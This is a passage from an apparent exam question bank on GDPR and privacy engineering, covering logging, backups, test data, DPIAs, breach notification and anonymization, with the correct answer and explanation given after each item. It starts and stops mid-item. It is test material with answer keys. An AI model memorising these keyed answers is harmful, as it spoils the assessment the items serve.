- B. Log only data that will be sent to advertising partners
- C. Log justified processing events and security-relevant actions while avoiding unnecessary personal content
- D. Log every field, password, and free-text submission forever

Answer: C. Log justified processing events and security-relevant actions while avoiding unnecessary personal content

Why: The appropriate design balances traceability, security, and data minimization.

Lecture source: pp. 32, 67, 70

Q202. [Scenario] A user exercises a valid erasure right, but immutable backups retain older copies. Which strategy best matches the lecture?

- A. Keep every backup forever and restore deleted data into production regularly
- B. Ignore erasure rights whenever a backup exists
- C. Delete all backups immediately regardless of resilience needs
- D. Use a round-robin backup lifecycle so changes eventually propagate as old backups expire

Answer: D. Use a round-robin backup lifecycle so changes eventually propagate as old backups expire

Why: The lecture discusses retaining backups only insofar as changes propagate through a round-robin lifecycle as old backups are deleted.

Lecture source: p. 67

Q203. [Comparison] Which architectural practice can help protect especially sensitive personal data?

- A. Share raw production data with every developer
- B. Remove access controls to simplify support
- C. Compartmentalization and isolation, such as a separate database for more sensitive data
- D. Store every data category in a public frontend cache

Answer: C. Compartmentalization and isolation, such as a separate database for more sensitive data

Why: Isolation and compartmentalization can guide persistence-layer architecture.

Lecture source: p. 64

Q204. [Scenario] A frontend collects click telemetry linked to IP addresses, while a backend stores payment-card information. Which design conclusion is most appropriate?

- A. Both can involve personal data, but the sensitivity and safeguards may differ
- B. All data must always be stored in one table
- C. Only the payment-card records can ever be personal data
- D. Frontend telemetry is always anonymous

Answer: A. Both can involve personal data, but the sensitivity and safeguards may differ

Why: Frontends can process personal data too, but different data types can justify different safeguards and isolation choices.

Lecture source: p. 64

Q205. [Single answer] Which practice is generally advisable for software-development environments?

- A. Use synthetic data when developers do not need raw personal data
- B. Disable access controls in staging permanently
- C. Retain unneeded raw personal data to simplify debugging
- D. Copy production personal data into every developer laptop by default

Answer: A. Use synthetic data when developers do not need raw personal data

Why: The lecture recommends avoiding raw personal data in development when synthetic data is sufficient.

Lecture source: p. 72

Q206. [Scenario] A developer requests a full production database snapshot for testing a minor user-interface change. Which response is best?

- A. Use synthetic or minimized test data unless raw personal data is genuinely necessary and appropriately controlled
- B. Remove all documentation of the copy
- C. Provide the snapshot because development environments are outside data-protection concerns
- D. Publish the snapshot so the test is reproducible

Answer: A. Use synthetic or minimized test data unless raw personal data is genuinely necessary and appropriately controlled

Why: Developers seldom need raw personal data, and minimization should guide test-data practices.

Lecture source: p. 72

Q207. [Single answer] Which statement about privacy policies is most accurate?

- A. A privacy policy replaces every technical and organizational safeguard
- B. Privacy policies should omit who processes data and how long data is retained
- C. They communicate data-protection practices externally, but they should be understandable rather than vague or impenetrable legalese
- D. The longer the policy, the more compliant the system automatically becomes

Answer: C. They communicate data-protection practices externally, but they should be understandable rather than vague or impenetrable legalese

Why: Privacy policies often suffer from being too vague or overly legalistic. They are important but do not replace engineering.

Lecture source: p. 76

Q208. [Select all that apply] Which topics commonly belong in external privacy communication? Select all that apply.

- A. Relevant purposes and practices
- B. Where processing occurs
- C. A guarantee that no incident can ever occur
- D. Who is processing personal data
- E. What is processed
- F. How long data is retained

Answer: A. Relevant purposes and practices; B. Where processing occurs; D. Who is processing personal data; E. What is processed; F. How long data is retained

Why: Privacy policies communicate practical processing details. They cannot guarantee the impossibility of all incidents.

Lecture source: p. 76

Q209. [Scenario] An architecture diagram documents how a GDPR request is broadcast to business services and how fulfillment is logged. What additional benefit can the diagram provide?

- A. It eliminates the need for security testing
- B. It can support documentation and record-keeping obligations
- C. It proves that no privacy risk exists
- D. It converts personal data into anonymous data

Answer: B. It can support documentation and record-keeping obligations

Why: Architectural design can serve as documentation in addition to guiding implementation.

Lecture source: pp. 68-69

Q210. [Sequence] Which sequence best describes a robust distributed GDPR-request workflow?

- A. Receive request, log initiation, process core data, broadcast to relevant services, wait for responses, log changes and fulfillment, return completion status
- B. Receive request, ignore downstream services, delete logs, return success immediately
- C. Disable the persistence layer and ask the user to retry indefinitely
- D. Publish the request, collect unrelated data, and retain it indefinitely

Answer: A. Receive request, log initiation, process core data, broadcast to relevant services, wait for responses, log changes and fulfillment, return completion status

Why: The architecture example emphasizes coordinated processing, downstream service handling, and traceability.

Lecture source: p. 68

Q211. [True / False] The presence of a backup automatically cancels every erasure obligation.

- A. True
- B. False

Answer: B. False

Why: Backups require careful lifecycle handling; changes should eventually propagate as old backups expire.

Lecture source: p. 67

Q212. [True / False] Privacy policies are a substitute for technical security controls.

A. True

B. False

Answer: B. False

Why: Policies communicate practices but do not replace safeguards or architecture.

Lecture source: pp. 35, 76

Q213. [True / False] Synthetic data can reduce the need for raw personal data in development environments.

A. True

B. False

Answer: A. True

Why: Using synthetic data is recommended where developers do not need raw personal data.

Lecture source: p. 72

9. DPIAs, DPOs, breach notification, and organizational duties

13 questions. Correct answers and explanations appear immediately below each item.

Q214. [Single answer] When is a data-protection impact assessment especially relevant?

- A. Only when the controller uses a dark-mode interface
- B. Only after every backup has been deleted
- C. When processing is likely to create high risks for natural persons
- D. Only when an organization has no personal data

Answer: C. When processing is likely to create high risks for natural persons

Why: High-risk processing can require a privacy or data-protection impact assessment.

Lecture source: pp. 38, 73

Q215. [Scenario] A hospital deploys a large-scale biometric and health-data profiling system. Which governance action should be considered early?

- A. Wait for a breach before considering privacy risk
- B. Conduct a data-protection impact assessment because high risks to natural persons may be involved
- C. Remove documentation to reduce liability
- D. Treat biometric data as ordinary non-personal telemetry

Answer: B. Conduct a data-protection impact assessment because high risks to natural persons may be involved

Why: High-risk processing should be evaluated during requirements and risk-management phases.

Lecture source: pp. 20, 73

Q216. [Single answer] What is the main role of a data protection officer in the lecture?

- A. Personally guarantee that no breach can ever occur
- B. Replace every software engineer and security analyst
- C. Approve every marketing email without any governance process
- D. Coordinate and advise on organizational data-protection obligations, including interaction with supervisory authorities

Answer: D. Coordinate and advise on organizational data-protection obligations, including interaction with supervisory authorities

Why: DPOs have legally imposed tasks and may coordinate with DPAs in incidents and other personal-data issues.

Lecture source: p. 74

Q217. [Single answer] Which statement about a data protection officer is most accurate?

- A. A DPO is identical to a data processor
- B. The DPO has important tasks but is not automatically personally liable for every organizational failure
- C. The DPO exists only to configure firewalls
- D. The DPO is personally liable for every technical bug under all circumstances

Answer: B. The DPO has important tasks but is not automatically personally liable for every organizational failure

Why: The lecture emphasizes important duties while noting the DPO is not personally liable in the stated sense.

Lecture source: p. 74

Q218. [Single answer] What is the general deadline for notifying the supervisory authority of a personal-data breach after awareness, where feasible?

- A. Within 24 months
- B. Only after a court order
- C. Without undue delay and no later than 72 hours
- D. There is never any deadline

Answer: C. Without undue delay and no later than 72 hours

Why: Article 33-style notification is required without undue delay and, where feasible, within 72 hours after awareness.

Lecture source: p. 75

Q219. [Scenario] A controller becomes aware of a personal-data breach on Monday at 10:00. Which response is most consistent with the lecture?

- A. Notify only if a newspaper reports the incident
- B. Wait until the next annual audit regardless of severity
- C. Start assessment immediately and notify the supervisory authority without undue delay, where feasible within 72 hours
- D. Delete all evidence before assessing the breach

Answer: C. Start assessment immediately and notify the supervisory authority without undue delay, where feasible within 72 hours

Why: Breach response should be prompt and evidence-preserving.

Lecture source: p. 75

Q220. [Single answer] When must affected natural persons also be informed about a personal-data breach?

- A. Only when the breach affects anonymous data with no individuals involved
- B. When the breach is high risk for affected natural persons
- C. For every low-risk configuration change
- D. Never, because only supervisors may be informed

Answer: B. When the breach is high risk for affected natural persons

Why: High-risk personal-data breaches must also be communicated to affected natural persons without further delay.

Lecture source: p. 75

Q221. [Scenario] A stolen unencrypted laptop contains sensitive patient records and creates a high risk to affected individuals. Which action is most appropriate in addition to supervisory notification?

- A. Publicly release all patient records to ensure transparency
- B. Disable all future logging
- C. Communicate the breach to affected natural persons without further delay
- D. Keep the breach hidden because patient records are already lost

Answer: C. Communicate the breach to affected natural persons without further delay

Why: High-risk breaches require communication to affected natural persons as well as supervisory handling.

Lecture source: p. 75

Q222. [Select all that apply] Which are organizational duties emphasized in the lecture? Select all that apply.

- A. Coordination with data-protection authorities
- B. Retention of every personal-data field forever
- C. Breach-notification procedures
- D. Risk analysis and impact assessments
- E. Appropriate documentation

Answer: A. Coordination with data-protection authorities; C. Breach-notification procedures; D. Risk analysis and impact assessments; E. Appropriate documentation

Why: Organizational duties include risk management, documentation, breach handling, and DPA interaction.

Lecture source: pp. 73-76

Q223. [Scenario] A new system performs high-risk processing, but privacy risk is considered only after coding and deployment. Which lifecycle improvement is most appropriate?

- A. Avoid documenting the processing
- B. Assume technical testing is unrelated to privacy risk
- C. Treat privacy as a post-deployment legal notice only
- D. Integrate risk and privacy requirements into requirements engineering before implementation

Answer: D. Integrate risk and privacy requirements into requirements engineering before implementation

Why: The risk-based approach should affect requirements engineering and design.

Lecture source: p. 73

Q224. [True / False] Every personal-data breach must always be communicated to every natural person regardless of risk.

A. True

B. False

Answer: B. False

Why: The lecture specifies communication to affected natural persons for high-risk personal-data breaches.

Lecture source: p. 75

Q225. [True / False] Supervisory notification should be delayed until every technical detail is known with certainty.

A. False

B. True

Answer: A. False

Why: The notification duty is without undue delay and where feasible no later than 72 hours after awareness.

Lecture source: p. 75

Q226. [True / False] Risk analysis can help determine whether a breach presents high risk to natural persons.

A. True

B. False

Answer: A. True

Why: Prior risk analysis supports breach classification and notification decisions.

Lecture source: p. 75

10. Integrated exam scenarios and misconception checks

77 questions. Correct answers and explanations appear immediately below each item.

Q227. [Mini case study] An organization faces this situation: A fitness application collects precise location, health, and social-contact data for a simple step counter and stores it indefinitely. What is the most appropriate next step?

- A. Apply data minimization, purpose limitation, retention controls, and risk-appropriate safeguards
- B. Assume the system is compliant because it uses a database
- C. Collect more unrelated personal data before deciding
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: A. Apply data minimization, purpose limitation, retention controls, and risk-appropriate safeguards

Why: Minimization, purpose limitation, and storage limitation remain relevant even when the app has a legitimate feature.

Lecture source: pp. 28, 33, 38

Q228. [Mini case study] An organization faces this situation: A retailer sends customer records to an analytics vendor but has no contract and has not assigned controller and processor responsibilities. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Establish a governed controller-processor arrangement and clarify responsibilities
- C. Collect more unrelated personal data before deciding
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: B. Establish a governed controller-processor arrangement and clarify responsibilities

Why: Supply-chain processing requires clear role allocation and generally a binding arrangement.

Lecture source: p. 22

Q229. [Mini case study] An organization faces this situation: A global web service has no EU office but targets European customers and tracks identifiable behavior. What is the most appropriate next step?

- A. Remove documentation and delay analysis until an enforcement action occurs
- B. Assume the system is compliant because it uses a database
- C. Assess GDPR applicability because extraterritorial scope may be triggered
- D. Collect more unrelated personal data before deciding

Answer: C. Assess GDPR applicability because extraterritorial scope may be triggered

Why: Offering goods or services to Europeans can bring processing within GDPR scope.

Lecture source: p. 23

Q230. [Mini case study] An organization faces this situation: A hospital removes names from a dataset but leaves rare diagnoses, exact dates of birth, postal codes, and stable device identifiers. What is the most appropriate next step?

- A. Collect more unrelated personal data before deciding
- B. Treat the data as potentially re-identifiable and assess singling-out, linkability, and inference risks
- C. Remove documentation and delay analysis until an enforcement action occurs
- D. Assume the system is compliant because it uses a database

Answer: B. Treat the data as potentially re-identifiable and assess singling-out, linkability, and inference risks

Why: Removing names alone is not strict anonymization.

Lecture source: pp. 43, 47, 50

Q231. [Mini case study] An organization faces this situation: A platform claims 2-anonymity, but every row in each group has the same sensitive condition. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Assess sensitive-attribute disclosure and consider I-diversity or stronger methods
- C. Collect more unrelated personal data before deciding
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: B. Assess sensitive-attribute disclosure and consider I-diversity or stronger methods

Why: k-anonymity does not automatically provide sensitive-value diversity.

Lecture source: pp. 55-57

Q232. [Mini case study] An organization faces this situation: A security team records every user action, including passwords and full message content, and retains logs forever. What is the most appropriate next step?

- A. Balance security monitoring with minimization, confidentiality, and retention controls
- B. Collect more unrelated personal data before deciding
- C. Assume the system is compliant because it uses a database
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: A. Balance security monitoring with minimization, confidentiality, and retention controls

Why: Monitoring can be necessary but should not become unjustified personal-data accumulation.

Lecture source: pp. 32, 67, 70

Q233. [Mini case study] An organization faces this situation: A controller uses consent for a service but offers no mechanism to withdraw it. What is the most appropriate next step?

- A. Remove documentation and delay analysis until an enforcement action occurs
 - B. Assume the system is compliant because it uses a database
 - C. Implement consent withdrawal and assess deletion where no other legal basis applies
 - D. Collect more unrelated personal data before deciding
- Answer: C. Implement consent withdrawal and assess deletion where no other legal basis applies**

Why: Consent withdrawal is a right and can overlap with erasure.

Lecture source: pp. 61-63

Q234. [Mini case study] An organization faces this situation: A company copies its full production customer database into a public development environment. What is the most appropriate next step?

- A. Collect more unrelated personal data before deciding
 - B. Remove documentation and delay analysis until an enforcement action occurs
 - C. Assume the system is compliant because it uses a database
 - D. Use synthetic or minimized test data and apply environment-specific access controls
- Answer: D. Use synthetic or minimized test data and apply environment-specific access controls**

Why: Raw personal data should generally be avoided in development unless genuinely necessary.

Lecture source: p. 72

Q235. [Mini case study] An organization faces this situation: A high-risk breach involving unencrypted health records is discovered, but the team plans to wait several weeks before notifying anyone. What is the most appropriate next step?

- A. Remove documentation and delay analysis until an enforcement action occurs
 - B. Collect more unrelated personal data before deciding
 - C. Begin prompt breach handling, notify the supervisory authority without undue delay where feasible within 72 hours, and notify affected persons if high risk
 - D. Assume the system is compliant because it uses a database
- Answer: C. Begin prompt breach handling, notify the supervisory authority without undue delay where feasible within 72 hours, and notify affected persons if high risk**

Why: The breach-notification framework requires prompt supervisory and qualifying data-subject communication.

Lecture source: p. 75

Q236. [Mini case study] An organization faces this situation: A privacy policy states only "we value privacy" and provides no information about who processes data, purposes, retention, or locations. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Provide an understandable and informative privacy policy while maintaining technical and organizational safeguards
- C. Collect more unrelated personal data before deciding
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: B. Provide an understandable and informative privacy policy while maintaining technical and organizational safeguards

Why: Policies should communicate practical processing information and do not replace engineering.

Lecture source: p. 76

Q237. [Mini case study] An organization faces this situation: A service permanently links all pseudonyms to a publicly accessible identity table. What is the most appropriate next step?

- A. Protect the additional re-identification information and reconsider whether pseudonymization provides meaningful risk reduction
- B. Collect more unrelated personal data before deciding
- C. Assume the system is compliant because it uses a database
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: A. Protect the additional re-identification information and reconsider whether pseudonymization provides meaningful risk reduction

Why: Pseudonymization depends on controlled additional information or secrets.

Lecture source: pp. 42, 46

Q238. [Mini case study] An organization faces this situation: A company relies on legitimate interests for profiling but never considers the interests or rights of natural persons. What is the most appropriate next step?

- A. Perform the required balancing analysis before relying on legitimate interests
- B. Remove documentation and delay analysis until an enforcement action occurs
- C. Collect more unrelated personal data before deciding
- D. Assume the system is compliant because it uses a database

Answer: A. Perform the required balancing analysis before relying on legitimate interests

Why: Legitimate-interests processing generally requires balancing.

Lecture source: p. 26

Q239. [Mini case study] An organization faces this situation: A controller collects data for fraud prevention and then sells it for unrelated advertising without assessing purpose or lawfulness. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Collect more unrelated personal data before deciding
- C. Remove documentation and delay analysis until an enforcement action occurs
- D. Assess purpose limitation, use limitation, transparency, and an appropriate legal basis

Answer: D. Assess purpose limitation, use limitation, transparency, and an appropriate legal basis

Why: Secondary uses require careful purpose and lawfulness analysis.

Lecture source: pp. 26, 28, 39

Q240. [Mini case study] An organization faces this situation: A user requests correction of an inaccurate profile, but the organization has no persistence-layer update operation. What is the most appropriate next step?

- A. Remove documentation and delay analysis until an enforcement action occurs
- B. Implement rectification support and a user-facing request workflow
- C. Collect more unrelated personal data before deciding
- D. Assume the system is compliant because it uses a database

Answer: B. Implement rectification support and a user-facing request workflow

Why: Rights imply functional operations and interfaces.

Lecture source: pp. 61-63, 66

Q241. [Mini case study] An organization faces this situation: A user requests a machine-readable export, but the system can only display a screenshot. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Collect more unrelated personal data before deciding
- C. Implement a portability workflow such as a justified JSON or CSV export
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: C. Implement a portability workflow such as a justified JSON or CSV export

Why: Portability is supported by usable machine-readable formats.

Lecture source: p. 63

Q242. [Mini case study] An organization faces this situation: A record under restriction continues to be modified by downstream microservices because the restriction flag is not propagated. What is the most appropriate next step?

- A. Propagate the restriction through downstream services and log fulfillment
- B. Assume the system is compliant because it uses a database
- C. Collect more unrelated personal data before deciding
- D. Remove documentation and delay analysis until an enforcement action occurs

Answer: A. Propagate the restriction through downstream services and log fulfillment

Why: Distributed architectures should coordinate rights requests across services.

Lecture source: pp. 62, 68

Q243. [Mini case study] An organization faces this situation: An organization deploys a high-risk biometric system without a privacy impact assessment. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Collect more unrelated personal data before deciding
- C. Remove documentation and delay analysis until an enforcement action occurs
- D. Perform a DPIA and integrate privacy risks into requirements engineering

Answer: D. Perform a DPIA and integrate privacy risks into requirements engineering

Why: High-risk processing requires structured impact assessment.

Lecture source: p. 73

Q244. [Mini case study] An organization faces this situation: A business believes encryption alone makes all personal-data processing lawful. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Collect more unrelated personal data before deciding
- C. Remove documentation and delay analysis until an enforcement action occurs
- D. Explain that encryption supports security but does not replace legal basis, minimization, purpose limitation, or rights

Answer: D. Explain that encryption supports security but does not replace legal basis, minimization, purpose limitation, or rights

Why: Confidentiality is important but broader data-protection obligations remain.

Lecture source: pp. 5-7, 26, 28, 33

Q245. [Mini case study] An organization faces this situation: A dataset has a large anonymity set, but one subject is overwhelmingly likely based on auxiliary data. What is the most appropriate next step?

- A. Assume the system is compliant because it uses a database
- B. Remove documentation and delay analysis until an enforcement action occurs
- C. Collect more unrelated personal data before deciding
- D. Evaluate probability distribution and inference risk rather than relying only on set size

Answer: D. Evaluate probability distribution and inference risk rather than relying only on set size

Why: Anonymity is probabilistic and set size alone is insufficient.

Lecture source: pp. 48-49

Q246. [Mini case study] An organization faces this situation: An organization adds noisy values only to one column while leaving correlated quasi-identifiers untouched. What is the most appropriate next step?

- A. Remove documentation and delay analysis until an enforcement action occurs
- B. Review correlation, sparsity, linkability, bounds, and the rigor of the randomization method
- C. Collect more unrelated personal data before deciding
- D. Assume the system is compliant because it uses a database

Answer: B. Review correlation, sparsity, linkability, bounds, and the rigor of the randomization method

Why: Naive randomization can be reversed or undermined.

Lecture source: pp. 58-59

Q247. [True / False] Encryption automatically makes every processing activity lawful.

- A. False
- B. True

Answer: A. False

Why: Encryption is a safeguard, not a replacement for a lawful basis, principles, or rights.

Lecture source: pp. 26, 28, 33

Q248. [True / False] Removing a name field automatically creates strictly anonymized data.

- A. True
- B. False

Answer: B. False

Why: Quasi-identifiers, linkability, singling out, and inference can still permit re-identification.

Lecture source: pp. 43, 47, 50

Q249. [True / False] A processor acts on behalf of a controller.

- A. True
- B. False

Answer: A. True

Why: The controller decides why and how; the processor performs processing on the controller's behalf.

Lecture source: p. 22

Q250. [True / False] A large anonymity set is useful, but probability distribution still matters.

- A. False
- B. True

Answer: B. True

Why: Anonymity is not determined solely by the number of candidates.

Lecture source: pp. 48-49

Q251. [True / False] k-anonymity alone guarantees sensitive-attribute diversity.

- A. False
- B. True

Answer: A. False

Why: l-diversity addresses a weakness of k-anonymity by requiring multiple sensitive values.

Lecture source: pp. 55-57

Q252. [True / False] The GDPR requires one identical software architecture for every organization.

- A. False
- B. True

Answer: A. False

Why: The GDPR imposes obligations but generally not one mandatory software design.

Lecture source: p. 69

Q253. [True / False] Data minimization and security monitoring may need to be balanced.

A. False

B. True

Answer: B. True

Why: Logging can support security and accountability while also creating privacy risks.

Lecture source: pp. 32, 67

Q254. [True / False] Consent is the only legal basis for processing personal data.

A. False

B. True

Answer: A. False

Why: The lecture lists six legal bases.

Lecture source: p. 26

Q255. [True / False] Manual handling of personal data can fall within processing.

A. True

B. False

Answer: A. True

Why: Processing is broadly defined and is not limited to automated operations.

Lecture source: p. 19

Q256. [True / False] Strict anonymization and pseudonymization are the same.

A. False

B. True

Answer: A. False

Why: Pseudonymization generally remains reversible with additional information.

Lecture source: pp. 42-46

Q257. [True / False] A controller can ignore downstream services when fulfilling a data-subject request.

A. True

B. False

Answer: B. False

Why: Distributed systems should propagate requests and log changes across relevant services.

Lecture source: p. 68

Q258. [True / False] A high-risk breach may require communication to affected natural persons.

A. True

B. False

Answer: A. True

Why: High-risk breaches require data-subject communication without further delay.

Lecture source: p. 75

Q259. [True / False] Synthetic data can support safer development practices.

A. True

B. False

Answer: A. True

Why: Developers often do not need raw production personal data.

Lecture source: p. 72

Q260. [True / False] Privacy policies replace technical safeguards.

A. True

B. False

Answer: B. False

Why: Policies communicate processing but do not substitute for architecture or security controls.

Lecture source: pp. 35, 76

Q261. [True / False] Purpose limitation means personal data may be freely reused for any unrelated purpose.

- A. True
- B. False

Answer: B. False

Why: Data should be collected and used for specified purposes.

Lecture source: p. 28

Q262. [Defensive design] Which design most directly supports data minimization?

- A. Copy production data into every test environment
- B. Collect only fields necessary for the stated purpose
- C. Collect every available field in case it is useful later
- D. Retain every field indefinitely

Answer: B. Collect only fields necessary for the stated purpose

Why: Only necessary personal data should be collected.

Lecture source: p. 28

Q263. [Defensive design] Which design most directly supports accountability?

- A. Maintain evidence of processing purposes, requests, safeguards, and responsible workflows
- B. Avoid all documentation
- C. Delegate every decision without a contract
- D. Store only vague verbal promises

Answer: A. Maintain evidence of processing purposes, requests, safeguards, and responsible workflows

Why: Accountability requires demonstrable compliance.

Lecture source: pp. 28, 37-39, 67

Q264. [Defensive design] Which practice best supports purpose limitation?

- A. Assume all analytics are automatically compatible
- B. Reuse data indiscriminately
- C. Hide secondary processing from natural persons
- D. Evaluate whether a proposed secondary use matches the specified purpose or requires a new lawful basis

Answer: D. Evaluate whether a proposed secondary use matches the specified purpose or requires a new lawful basis

Why: Purpose limitation constrains unrelated secondary uses.

Lecture source: p. 28

Q265. [Defensive design] Which practice best supports storage limitation?

- A. Restore deleted data from backups indefinitely
- B. Create additional copies without a purpose
- C. Delete or de-identify personal data when the justified retention period ends
- D. Retain all data forever

Answer: C. Delete or de-identify personal data when the justified retention period ends

Why: Identifiability should be limited in time.

Lecture source: p. 28

Q266. [Defensive design] Which system behavior best supports the right to access?

- A. Allow a data subject to view the personal data registered about them
- B. Prevent every user from seeing any profile information
- C. Delete a record without verifying the request
- D. Publish all profiles publicly

Answer: A. Allow a data subject to view the personal data registered about them

Why: Access provides visibility into registered personal data.

Lecture source: pp. 61, 66

Q267. [Defensive design] Which system behavior best supports rectification?

- A. Block every update request
- B. Change records silently without audit
- C. Ignore reported inaccuracies
- D. Allow an authenticated and authorized correction workflow for inaccurate personal data

Answer: D. Allow an authenticated and authorized correction workflow for inaccurate personal data

Why: Rectification concerns updating incorrect personal data.

Lecture source: pp. 61, 66

Q268. [Defensive design] Which system behavior best supports restrictions?

- A. Erase all logs regardless of need
- B. Ignore downstream processors
- C. Treat restriction as permission to expand processing
- D. Mark the affected data and prevent disallowed downstream processing while the restriction applies

Answer: D. Mark the affected data and prevent disallowed downstream processing while the restriction applies

Why: Restrictions must affect actual processing behavior.

Lecture source: pp. 61-62, 66, 68

Q269. [Defensive design] Which approach best supports transparent processing?

- A. Use vague statements only
- B. Hide all third-party transfers
- C. Write an intentionally unreadable policy as the sole control
- D. Provide understandable information about who processes data, purposes, retention, and relevant practices

Answer: D. Provide understandable information about who processes data, purposes, retention, and relevant practices

Why: Transparency requires useful communication.

Lecture source: pp. 28, 39, 76

Q270. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Personal data and processing definitions?

- A. Article 33-style response
- B. Article 6-style lawfulness
- C. Article 35-style assessment
- D. Article 34-style response
- E. Article 9-style safeguards
- F. Article 4-style definitions
- G. Article 32-style security
- H. Article 5-style principles
- I. Article 37-style governance
- J. Article 30-style records

Answer: F. Article 4-style definitions

Why: The concept is associated with article 4-style definitions.

Lecture source: p. 19

Q271. [Classification] Which high-value GDPR anchor is most directly associated with this concept: General processing principles such as minimization, accuracy, security, and accountability?

- A. Article 4-style definitions
- B. Article 30-style records
- C. Article 9-style safeguards
- D. Article 33-style response
- E. Article 37-style governance
- F. Article 34-style response
- G. Article 5-style principles
- H. Article 6-style lawfulness
- I. Article 35-style assessment
- J. Article 32-style security

Answer: G. Article 5-style principles

Why: The concept is associated with article 5-style principles.

Lecture source: p. 28

Q272. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Selection of an appropriate legal basis for processing?

- A. Article 4-style definitions
- B. Article 6-style lawfulness
- C. Article 9-style safeguards
- D. Article 34-style response
- E. Article 35-style assessment
- F. Article 5-style principles
- G. Article 32-style security
- H. Article 37-style governance
- I. Article 33-style response
- J. Article 30-style records

Answer: B. Article 6-style lawfulness

Why: The concept is associated with article 6-style lawfulness.

Lecture source: p. 26

Q273. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Special categories of personal data?

- A. Article 37-style governance
- B. Article 5-style principles
- C. Article 35-style assessment
- D. Article 9-style safeguards
- E. Article 32-style security
- F. Article 30-style records
- G. Article 6-style lawfulness
- H. Article 34-style response
- I. Article 4-style definitions
- J. Article 33-style response

Answer: D. Article 9-style safeguards

Why: The concept is associated with article 9-style safeguards.

Lecture source: p. 20

Q274. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Records of personal-data processing?

- A. Article 34-style response
- B. Article 4-style definitions
- C. Article 6-style lawfulness
- D. Article 5-style principles
- E. Article 30-style records
- F. Article 37-style governance
- G. Article 35-style assessment
- H. Article 9-style safeguards
- I. Article 33-style response
- J. Article 32-style security

Answer: E. Article 30-style records

Why: The concept is associated with article 30-style records.

Lecture source: p. 67

Q275. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Risk-appropriate technical and organizational safeguards?

- A. Article 32-style security
- B. Article 4-style definitions
- C. Article 34-style response
- D. Article 35-style assessment
- E. Article 5-style principles
- F. Article 6-style lawfulness
- G. Article 37-style governance
- H. Article 30-style records
- I. Article 33-style response
- J. Article 9-style safeguards

Answer: A. Article 32-style security

Why: The concept is associated with article 32-style security.

Lecture source: p. 33

Q276. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Supervisory notification for a personal-data breach?

- A. Article 9-style safeguards
- B. Article 30-style records
- C. Article 4-style definitions
- D. Article 6-style lawfulness
- E. Article 34-style response
- F. Article 33-style response
- G. Article 5-style principles
- H. Article 35-style assessment
- I. Article 37-style governance
- J. Article 32-style security

Answer: F. Article 33-style response

Why: The concept is associated with article 33-style response.

Lecture source: p. 75

Q277. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Communication of high-risk breaches to affected natural persons?

- A. Article 9-style safeguards
- B. Article 30-style records
- C. Article 35-style assessment
- D. Article 6-style lawfulness
- E. Article 5-style principles
- F. Article 34-style response
- G. Article 32-style security
- H. Article 33-style response
- I. Article 37-style governance
- J. Article 4-style definitions

Answer: F. Article 34-style response

Why: The concept is associated with article 34-style response.

Lecture source: p. 75

Q278. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Data-protection impact assessment for high-risk processing?

- A. Article 9-style safeguards
- B. Article 34-style response
- C. Article 35-style assessment
- D. Article 32-style security
- E. Article 30-style records
- F. Article 33-style response
- G. Article 5-style principles
- H. Article 4-style definitions
- I. Article 37-style governance
- J. Article 6-style lawfulness

Answer: C. Article 35-style assessment

Why: The concept is associated with article 35-style assessment.

Lecture source: p. 73

Q279. [Classification] Which high-value GDPR anchor is most directly associated with this concept: Designation of a data protection officer in applicable cases?

- A. Article 34-style response
- B. Article 32-style security
- C. Article 30-style records
- D. Article 37-style governance
- E. Article 33-style response
- F. Article 5-style principles
- G. Article 4-style definitions
- H. Article 9-style safeguards
- I. Article 35-style assessment
- J. Article 6-style lawfulness

Answer: D. Article 37-style governance

Why: The concept is associated with article 37-style governance.

Lecture source: p. 74

Q280. [Select all that apply] Which steps strengthen a privacy-aware software lifecycle? Select all that apply.

- A. Document processing and rights workflows
- B. Identify lawful purposes and data needs early
- C. Minimize production data in development
- D. Perform risk analysis for high-risk processing
- E. Use privacy-by-design
- F. Wait until after a breach to consider privacy

Answer: A. Document processing and rights workflows; B. Identify lawful purposes and data needs early; C. Minimize production data in development; D. Perform risk analysis for high-risk processing; E. Use privacy-by-design

Why: Privacy should be considered throughout requirements, architecture, development, deployment, and incident response.

Lecture source: pp. 35-39, 69, 72-76

Q281. [Select all that apply] Which controls can reduce risks associated with identifiable personal data? Select all that apply.

- A. Retention controls
- B. Encryption
- C. Access control
- D. Pseudonymization
- E. Data minimization
- F. Publishing re-identification mappings

Answer: A. Retention controls; B. Encryption; C. Access control; D. Pseudonymization; E. Data minimization

Why: Multiple technical and organizational controls should be layered according to risk.

Lecture source: pp. 28, 33, 38, 42-47

Q282. [Select all that apply] Which facts should prevent a team from claiming strict anonymization too quickly? Select all that apply.

- A. Auxiliary datasets can support inference
- B. The file extension is CSV
- C. Stable pseudonyms remain
- D. Quasi-identifiers remain detailed
- E. Rare records can be singled out
- F. A protected re-identification table still exists

Answer: A. Auxiliary datasets can support inference; C. Stable pseudonyms remain; D. Quasi-identifiers remain detailed; E. Rare records can be singled out; F. A protected re-identification table still exists

Why: Strict anonymization is difficult; stable links, quasi-identifiers, inference, singling out, and re-identification mappings matter.

Lecture source: pp. 42-60

Q283. [Select all that apply] Which statements about breach response are accurate? Select all that apply.

- A. Preserve evidence and begin assessment promptly
- B. Communicate high-risk breaches to affected persons
- C. Aim for the 72-hour supervisory window where feasible
- D. Notify the supervisory authority without undue delay where required
- E. Delay all action until the next annual audit

